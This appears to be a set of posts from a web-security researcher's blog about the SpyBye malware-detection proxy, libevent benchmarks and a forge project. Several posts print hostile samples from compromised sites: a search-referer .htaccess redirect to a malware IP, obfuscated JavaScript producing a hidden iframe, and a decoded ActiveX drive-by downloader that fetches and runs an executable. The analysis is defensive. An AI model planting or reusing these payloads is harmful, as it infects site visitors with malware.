SpyBye

We recently published an article on web-based malware in ACM's Queue Magazine. It provides a short overview of some of the challenges with detecting malicious web sites such as social engineering and examples of techniques for compromising web sites, e.g. htaccess redirection on Apache, etc. This is the article on which my recent ISSNet talk was based.

To get better control over the atmosphere in the forge, I have decided to build a blown gas forge based on a design by Tim Zowada. The basic structure is provided by a 10 gallon compressed air tank I picked up from Lowes. Using Tim's forced-air manifold, the forge should easily get up to welding temperature (2300F).

Jon who runs the TemperChi Glass Art Studio is helping with building this thing and already has some cerawool for lining the inside. The Cerawool is going to get covered with a 1/4in layer of Satanite and then with an ITC-100 coating. The forge floor will be made from Bubble Alumina refractory which has a heat rating of up 3300F and is supposed to be very resistant to flux. The inside diameter of the forge will be 8 inches and the length about 12 inches.

If you are interested in making glass beads, you can learn that at the shop, too, as well as welding

A list of the top-10 malware sites found by Google's infrastructure over the last two months is available at the Google Online Security Blog. Gumblar and Martuz are among them as well as googleanalytlcs.net. There certainly have been lots of compromised web servers recently.

In preparation for CodeCon, Nick and I wanted to see how HTTP performance differs between Libevent 1.4 and Libevent 2.0. HTTP is a good test case as it exercises many of the optimized components. Here is a preliminary result.

The libevent HTTP server is serving 200,000 bytes of content for each request. Apache's benchmark tool ab was used to make 15,000 requests with 40 requests happening in parallel.

• 1.4.10:
  Requests per second: 1450.79 [#/sec] (mean)
• 2.0:
  Requests per second: 1961.99 [#/sec] (mean)
• 2.0 (evbuffer_add_reference):
  Requests per second: 3979.31 [#/sec] (mean)

In Libevent 2.0, the evbuffer interface was rewritten to avoid memory copies where possible. This seems to result in a 35% performance improvement. The evbuffer_add_reference() API allows external memory to be associated with an evbuffer and thus avoids another memory copy. This results in about 100% performance increase. In comparison to Libevent 1.4, this is almost 175% faster.

In the meantime, Nick is working on making IOCP available for Windows.

WOOT is the Workshop on Offensive Technologies. This year, it's being held for the third time and the call for papers just came out. Submissions are solicited for a variety of interesting topics including:

• Vulnerability research (software auditing, reverse engineering)
• Exploit techniques and automation
• Malware design and implementation (rootkits, viruses, bots, worms)

The last two years were a lot of fun and this years organizers are an eclectic bunch of well known folks. If you have anything in the works, go submit it and we will see you at the workshop.

Usually, I get to find compromised web servers, but last week I was asked to fix one. A relative noticed that his web server would try to install a rogue anti-malware product and called me for help. Curiously, the malware showed up only when clicking on the search results for his web site, but the site was fine when typing the address directly into the location bar. A little investigation with curl could reproduce that behavior:

curl -I -H "Referer: www.google.com" http://www.foo.com/

returned a 302 redirect to an IP address, whereas

curl -I http://www.foo.com/

returned a 200. To find where the code might have been injected, I grepped the whole web server for the IP address and found the following gem in .htaccess:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://89.28.13.204/in.html?s=xx [R,L]

This code instructs the web server to redirect visitors to a malware site if they come from popular search engines.

The attackers were able to insert this file as the web application had a remote file inclusion vulnerability. These attacks are quite popular as we found in our paper: To Catch a Predator: A Natural Language Approach for Eliciting Malicious Payloads. The fix in this case was to remove the .htaccess file and to upgrade the web application to a patched version without the vulnerability.

During my invited talk on web-based malware at USENIX Security, I mentioned SQL Injection as one of the more popular means of compromising web servers. Although I did not have a chance to post my slides, here is one graph that shows how many URLs with drive-by downloads due to SQL injection were found by Google's infrastructure in July 2008; it's over 800,000 URLs. Curiously, most of these were due to the Asprox botnet.

The situation has slightly changed since then, Asprox has become quiet and most of the SQL Injection attacks seem to originate from Chinese sites. One way to determine if a site has been injected with malicious content is the Safe Browsing diagnostic page which shows infection domains and also how many sites they compromised. Here is an example of a Chinese SQL injection domain, ko118.cn.

To help web application developers, OWASP has published detailed guidelines on preventing SQL injection attacks. More importantly if your web site was SQL injected, its database needs to be cleaned to remove the injected content.

When I got home from traveling at around 3am last night, I found a box with 10 books on the table. Although, Virtual Honeypots covers primarily honeypots, it also features a small section on SpyBye that is part of a larger chapter on client honeypots. Other topics that we cover relating to this are on analyzing malware and tracking botnets. I am very pleased with the book in general and it will be interesting to see how it is going to do over the next few months.

The SpyBye source code is now available via http://code.google.com/p/spybye/. You can access it with subversion and more importantly, you can also send patches for feature improvements. In addition to that, the code hosting supports bug tracking and other nifty features. Enjoy!

SpyBye 0.3 adds an interesting twist to SpyBye. Previously, you would have to enter a URL into the form field and wait for the analysis to complete. SpyBye 0.3 adds a proxy mode in which you use SpyBye as a regular proxy for your web browsing. There is no need to enter any URLs into any form fields, instead SpyBye analyzes all downloads in the background and provides you with a warning notification whenever it encounters content that is potentially malicious. At that point, you can click on the link in the notification and receive a more detailed analysis of the web page.

The image on the left provides one such example. When you click on the link in the red warning box, you see a popup that shows all the implicit HTTP resources loaded into your browser and an analysis of the danger level. In fact, in proxy mode, you could just do all of your web browsing through SpyBye and be protected from bad content in return.

Let me know how you like it.

During HotBots last month, I presented a paper on a systematic approach for detecting malware on the web called "The Ghost In The Browser". The paper enumerates all the different ways in which a web page can become malicious and contains some measurements on the prevalance of drive-by-downloads; an in depth analysis of 4.5 million URLs detected 450,000 that were surreptitiously installing malware. All the more reason for tools such as SpyBye. Fortunately, I am not the only one working on such tools. Christian Seifert from the New Zealand Honeypot Alliance recently announced a web interface to their Capture honey client which runs a browser against URLs specified by you. In a similar vein, Shelia is a tool that scans your mail folder and follows URLs contained in it for malware and exploits.

To make the best use of SpyBye, it's important to understand how to interpret its output. Let's take a simple example of using SpyBye on http://www.honeyd.org/ - click on the image to the left to get a larger picture.

First of all we see, the main page link http://www.honeyd.org followed by HTTP/1.1 200 OK and clean. The HTTP status code tells us if the content was retrieved successfully and clean indicates that ClamAV found nothing unusual about the content. Below the main link, you see three other objects that were downloaded. SpyBye tries to organize all implict fetches in a tree so that it's easy to tell which URL was responsible for what content. The automatic downloads were the style file, the Honeyd logo and the javascript for keeping stats on site visitors. Each URL is linked and if you click on it, SpyBye shows you the HTML source code. This is sometimes useful for finding obfuscated javascript or to figure out how an exploit works. Below the URL display, you can find an iframe that shows the rendered URL.

Now, let's look at another example based on one of the reports recently submitted to SpyBye. In this case, we see that SpyBye lables the result as dangerous. That by itself is not so interesting. Let's look at the data in more detail: we see that as a result of visting the URL, four implicit HTTP fetches happen: two of them labeles as dangerous and two of them labeled as unknown.

The bottom two links are labeled as unknown. For SpyBye that means that the content comes from a third-party content provider that is unknown to SpyBye. However, the two domains are not a-priori known to be malicious and ClamAV does not find anything unusual with them either. The top two links are labeled as dangerous. One of them has been identified by ClamAV as an exploit. The other one has been labeled as dangerous because it comes from a domain known to host malicious content. You can click on the dangerous links to see their underlying source code - it's quite interesting.

Obviously, once a link from your web page has been labeled as dangerous, you know that something is likely to be wrong with your site. However, in most cases, you are just going to see a number of unknown links. As a web master, you need to look at the source of each unknown link and determine if you know why that content might be fetched from your site. If you cannot identify the reason for a particular fetch, it's likely that something is not quite right.

I hope everything is much clearer now. Let me know if you have any questions.

Another weekend, another release. Here are SpyBye 0.2 new features:

• Integration with ClamAV. In addition to applying SpyBye's heuristics for determining if a site is potentially malicious, everything now also gets scanned for malware/spyware by ClamAV.


• More consistent logging - all requests are logged to syslog now.


• Improved Javascript sanitization for those web pages that try to break out of frames.

Download SpyBye from http://www.monkey.org/~provos/spybye/.

Enjoy,
Niels.

Exploits are often obfuscated to make it more difficult to detect nefarious activities. The reason that SpyBye is posing as a proxy server is to get your web browser to do all the decoding for us. This is not only restricted to javascript, but also applies to any other scripting languages or media decoders your browser might support, Visual Basic script, Windows Media Player, etc. Your browser is good at that, but we are not. However, when we suspect an exploit, we sometimes still need to manually investigate and deobfuscate. Take the following javascript as example:


<script language="JavaScript">e = '0x00' + '5F';str1 = "%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7%B4%B7%AC%A7%E6%B8%B7 %BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%B0%E6%F1 %F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF %C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2";
str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}
document.write(str);</script>


We see that there is a quoted string and some javascript after it to decrypt it. Go over to the Web Development Bookmarklets and install jsenv as a bookmarklet. Click on the jsenv link to open up a window running the JavaScript Development Environment. Now, cut and paste the javascript from above - I introduced artificial line breaks, remove those. We also need to remove the HTML tags and replace document.write with print. The result should look like this:


e = '0x00' + '5F';str1 = "%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7%B4%B7%AC%A7%E6%B8%B7 %BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%B0%E6%F1 %F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF %C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2";
str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}print(str);


Now press the execute button and see what happens:

Running in bookmarklet mode...
<div style="visibility:hidden"><iframe src="http://prado7.com/trf/" width=1 height=1></iframe></div>


The iframe instructs your browser to download a plethora of exploits. Obviously, this was just a simple example. In other cases, we see double or triple wrapped javascript that results in Visual Basic script to download an executable. Or we observe an exploit against WMF to causes a malware binary to be downloaded. That is very hard for us to simulate ourselves, that's why SpyBye uses your browser to do all the work.

Here is a typical example of a compromised web page. Due to a bug in a web application like phpBB2, Moveable Type or many others, the adversary was able to insert the following line of HTML into your home page:

<iframe src="http://www.somehost.com/ment/" width="0" height="0"></iframe>

When visiting your home page, the single line of HTML causes your web browser to load additional content from an external web server. When looking at the content behind www.somehost.com/ment/, we find something incomprehensible to us. It's a block of javascript that consists only of numbers. Just by looking at it, we have no idea what the code might do:

<script>
t="60,115,99,114,105,112,116,32,108,97,110,103,118,97,103,
101,61,106,97,118,97,115,99,114,105,112,116,62,13,
10,118,97,114,32,117,114,108,44,112,97,116,104,44,118,97,114,49,44,118,97,
114,50,44,118,97,
[many more lines of numbers]
t=eval("String.fromCharCode("+t+")");
document.write(t);</script>

However, it's pretty straight forward to decipher this if you have bookmarked javascript shell - just search for it. When using jshell to evaluate the javascript from above, it decodes to the following:

<script language=javascript> var url,path,var1,var2,var3,var4;
url="http://www.somehost.com/ment/bad.exe";
path="C:\\windows\\IsUno104.exe"; var1="Microsoft.xmlhttp";
var2="Adodb.Stream"; var3="Shell.Application";
var var4_1="clsid:BD96C556-65A"; var var4_2="3-11D0-983A-00C04FC29E36";
var4=var4_1+var4_2;
try{var ado=(document.createElement("object"));
ado.setAttribute("classid",var4); var xml=ado.CreateObject(var1,"");
var as=ado.createobject(var2,""); xml.Open("GET",url,0); xml.Send();
as.type=1;as.open();as.write(xml.responseBody); 
as.savetofile(path,2);as.close();var shell=ado.createobject(var3,"");
shell.Shell(path,"","","open",0);}catch(e){};
</script>

This resulting javascript uses XMLRPC to download a binary from the Internet. It saves it on your local hard drive and then uses an ActiveX object to execute it. According to ClamAV, the executable is a Trojan-Downloader. This means that it is an application that can download an arbitrary number of other executables on your computer that can then happily sniff your passwords, compromise your bank accounts, display popups or use your computer to send spam.

All of this with just a single line of HTML. Amazing? Right!

The actual example had some more indirections and also threw in some additional visual basic script plus some other goodies that would have complicated our explanation.